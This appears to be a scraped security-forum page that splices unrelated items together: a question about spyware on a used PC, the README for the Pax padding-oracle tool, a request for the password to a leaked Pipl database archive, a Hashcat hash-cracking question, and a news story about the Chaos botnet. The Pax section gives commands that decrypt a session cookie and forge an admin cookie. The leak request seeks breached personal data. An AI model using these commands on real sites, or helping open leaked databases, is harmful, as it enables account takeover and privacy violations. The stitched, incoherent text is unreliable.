Bought a used PC from a friend of a friend

I bought a pc from a guy a year or two ago. It never occurred to me that he could have installed some kind of spyware. Is there a way I can check for this?

I’ve run several full scans on windows defender which haven’t shown anything but I’m still worried there might be something hiding.

Maybe I’m just paranoid

Pax : CLI Tool For PKCS7 Padding Oracle Attacks

Pax, Exploit padding oracles for fun and profit!

Pax (PAdding oracle eXploiter) is a tool for exploiting padding oracles in order to:

* Obtain plaintext for a given piece of CBC encrypted data.
* Obtain encrypted bytes for a given piece of plaintext, using the unknown encryption algorithm used by the oracle.

This can be used to disclose encrypted session information, and often to bypass authentication, elevate privileges and to execute code remotely by encrypting custom plaintext and writing it back to the server.

As always, this tool should only be used on systems you own and/or have permission to probe!

Installation

Download from releases, or install with Go:

go get -u github.com/liamg/pax/cmd/pax

Example Usage

If you find a suspected oracle, where the encrypted data is stored inside a cookie named SESS, you can use the following:

pax decrypt –url https://target.site/profile.php –sample Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D –block-size 16 –cookies “SESS=Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D”

This will hopefully give you some plaintext, perhaps something like:

{“user_id”: 456, “is_admin”: false}

It looks like you could elevate your privileges here!

You can attempt to do so by first generating your own encrypted data that the oracle will decrypt back to some sneaky plaintext:

pax encrypt –url https://target.site/profile.php –sample Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D –block-size 16 –cookies “SESS=Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D” –plain-text ‘{“user_id”: 456, “is_admin”: true}’

This will spit out another base64 encoded set of encrypted data, perhaps something like:

dGhpcyBpcyBqdXN0IGFuIGV4YW1wbGU=

Now you can open your browser and set the value of the SESScookie to the above value. Loading the original oracle page, you should now see you are elevated to admin level.

Looking for password to a zip file. Anybody know it?

Hi all,

I downloaded a .rar file of the Pipl database leak but it requires a password to open. Anyone happen to know the password? The file name is US-PPL#_toprakbilen90. Sound familiar to anyone?

Using salts and hash when getting a plaintext password.

Has anybody tried cracking a plain text password if you have the salt and hash combination using Hashcat? May I know how to do it? I'm starting to learn this one.

Black Hat Ethical Hacking
New Chaos malware infects Windows, Linux devices for DDoS attacks

New Chaos malware infects Windows, Linux devices for DDoS attacksPost Views: 2 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/08/Patreon-1.png Subscribe to Patreon to watch this episode.
Reading Time: 3 Minutes A quickly expanding botnet called Chaos is targeting and infecting Windows and Linux devices to use them for cryptomining and launching DDoS attacks.This Go-based malware can also infect various architectures, including x86, x86-64, AMD64, MIPS, MIPS64, ARMv5-ARMv8, AArch64, and PowerPC, used by a wide range of devices from small office/home office routers and enterprise servers.

Even though it mainly propagates by attacking devices unpatched against various security vulnerabilities and SSH brute-forcing, Chaos will also use stolen SSH keys to hijack more devices.

It also backdoors hijacked devices by establishing a reverse shell that will allow the attackers to reconnect at any time for further exploitation.

While analyzing around 100 samples discovered in the wild, security researchers Danny Adamitis, Steve Rudd, and Stephanie Walkenshaw at Lumen’s Black Lotus Labs found that Chaos is written in Chinese and uses China-based command-and-control (C2) infrastructure.

They also found that the botnet is targeting an extensive array of industries and has expanded exponentially since it was first spotted in April.

“Using Lumen global network visibility, Black Lotus Labs enumerated the C2s and targets of several distinct Chaos clusters, including a successful compromise of a GitLab server and a spate of recent DDoS attacks targeting the gaming, financial services and technology, and media and entertainment industries – as well as DDoS-as-a-service providers and a cryptocurrency exchange,” the researchers said.

“While the botnet infrastructure today is comparatively smaller than some of the leading DDoS malware families, Chaos has demonstrated rapid growth in the last few months.”
